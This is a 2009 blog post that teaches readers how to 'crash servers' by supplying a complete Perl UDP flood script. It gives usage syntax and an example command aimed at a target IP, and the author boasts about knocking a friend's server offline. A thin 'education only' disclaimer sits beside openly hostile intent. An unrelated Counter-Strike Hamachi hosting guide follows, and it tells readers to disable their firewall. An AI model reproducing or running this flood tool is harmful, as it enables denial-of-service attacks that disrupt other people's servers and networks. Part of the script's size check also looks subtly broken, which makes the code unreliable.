Wednesday, August 19, 2009

Flooding UDP ports Using Active Perl

Alot of people have been asking me to teach them how to crash servers. Well here goes !!
I use Active Perl Scripts to flood UDP ports causing a type to DoS( Denial-of-Service) Attack.

Before you get started, You'll need :-
1.Active Perl Installed in your pc
2.A net connection FASTER than your targets.
3.Some knowledge about compiling and executing perl scripts.


This is only for education purporses and sharing what I know.

DO NOT USE it to crash servers or piss people off Please !!

The Script :-


#!/usr/bin/perl
#####################################################
# udp flood.
######################################################

use Socket;
use strict;
use Getopt::Long;
use Time::HiRes qw( usleep gettimeofday ) ;

our $port = 0;
our $size = 0;
our $time = 0;
our $bw = 0;
our $help = 0;
our $delay= 0;

GetOptions(
"port=i" => \$port, # UDP port to use, numeric, 0=random
"size=i" => \$size, # packet size, number, 0=random
"bandwidth=i" => \$bw, # bandwidth to consume
"time=i" => \$time, # time to run
"delay=f"=> \$delay, # inter-packet delay
"help|?" => \$help); # help

my ($ip) = @ARGV;

if ($help || !$ip) {
print <<'EOL';
flood.pl --port=dst-port --size=pkt-size --time=secs
--bandwidth=kbps --delay=msec ip-address

Defaults:
* random destination UDP ports are used unless --port is specified
* random-sized packets are sent unless --size or --bandwidth is specified
* flood is continuous unless --time is specified
* flood is sent at line speed unless --bandwidth or --delay is specified

Usage guidelines:
--size parameter is ignored if both the --bandwidth and the --delay
parameters are specified.

Packet size is set to 256 bytes if the --bandwidth parameter is used
without the --size parameter

The specified packet size is the size of the IP datagram (including IP and
UDP headers). Interface packet sizes might vary due to layer-2 encapsulation.

Warnings and Disclaimers:
Flooding third-party hosts or networks is commonly considered a criminal activity.
Flooding your own hosts or networks is usually a bad idea
Higher-performace flooding solutions should be used for stress/performance tests
Use primarily in lab environments for QoS tests
EOL
exit(1);
}

if ($bw && $delay) {
print "WARNING: computed packet size overwrites the --size parameter ignored\n";
$size = int($bw * $delay / 8);
} elsif ($bw) {
$delay = (8 * $size) / $bw;
}

$size = 256 if $bw && !$size;

($bw = int($size / $delay * 8)) if ($delay && $size);

my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);

print "Flooding $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "\n";
print "Interpacket delay $delay msec\n" if $delay;
print "total IP bandwidth $bw kbps\n" if $bw;
print "Break with Ctrl-C\n" unless $time;

die "Invalid packet size requested: $size\n" if $size && ($size <> 1500);
$size -= 28 if $size;
for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
usleep(1000 * $delay) if $delay;
}


-----------------------------------------------------------------------------------------------

Here is the script that you'll need,Copy and save it as flood.pl using notepad.

Syntax for using it :-

flood.pl --port port --size bytes --time seconds --bandwidth kbps --delay msec target-ip-address

Usage:-
Port:-Port to flood (27015)
Size:- Packet Size to flood with (32/64)
Time:-Duration of the attack
Bandwidth:-Amount of Bandwidth you would like to drain from the target
Note:- Bandwidth<= you're net speed
Target-ip-address :- Targets ip (eg:- 192.168.178.78)

Example of Usage:-
flood.pl --port 27015 --size 32 --time 60 --bandwidth 512 192.68.178.78

I would like to apologize to everyone who's servers I crashed !
Especially Bhanu aka SnakeEyes

On Second thought .... Forget it snake !! it was real fun crashing your server :P

Any Questions Feel free to ask , I'll try to get back to you as soon as possible.

How to Play CS (Counter Strike) Online

After many hours of testing with collegemates and reading support forums I’ve finally managed to host Counter-Strike: Condition Zero (CS: CZ) games and get clients to connect to me successfully with Hamachi.

I’m posting a guide to hosting a game and joining a game for people who still have trouble getting this to work.

To join a CS CZ game:

1. Download and install Hamachi. Choose the Free version while installing and not the Premium version. Rather obvious, right?

2. Run Hamachi and click the Create or join networks button and choose Join existing network.

3. To join our network get the username and password from someone and enter it and it will connect to our network.

4. Turn off your firewall (or disable it). Remember to turn it back on after you finish playing.

5. Run CS: CZ

6. Go to Options and change your name.

7. Press the ~ key on the keyboard. It is to the left of the 1 key on the top row of the keyboard.

8. Type connect 5.46.80.247 to connect if I am hosting the game. If someone else is hosting the game look at their Hamachi IP address and use that instead of mine.

9. The game will connect and you can start playing.

Errors:
If you get a Class C error, the host has not set up Hamachi aliases correctly. Ask the host to read the section below. If you cannot connect to the game for any other reason it’s a problem with your firewall (have you turned it off?).

To host a CS: CZ game:
1. Turn off or disable your firewall. If you are using Windows firewall, remember to turn it off from the Control Panel.

If turning off firewall doesn’t work, try setting exceptions for ‘Half Life Launcher’ from within the firewall program.

2. Run Hamachi. Click the last button and choose Preferences. Then click Window and check the Show “Advanced…” peer menu item checkbox and click OK.

3. Now for every new player who joins your networks you have to do the following steps:
A. Right click the player’s entry in Hamachi
B. Click Advanced…
C. In the Peer VPN alias box enter the first three parts of your Hamachi IP address (example: 5.46.80) and add the last part of the player’s IP address (example: .191) so that it makes a new IP address.
D. Click OK. (UPDATE: No need to restart Hamachi. Tested.)

4. Launch the game. Click Create New Multiplayer Game option and start the game. Other players can connect to you as long as you have set an alias for each of them.

If You have any more Questions Feel Free to ask!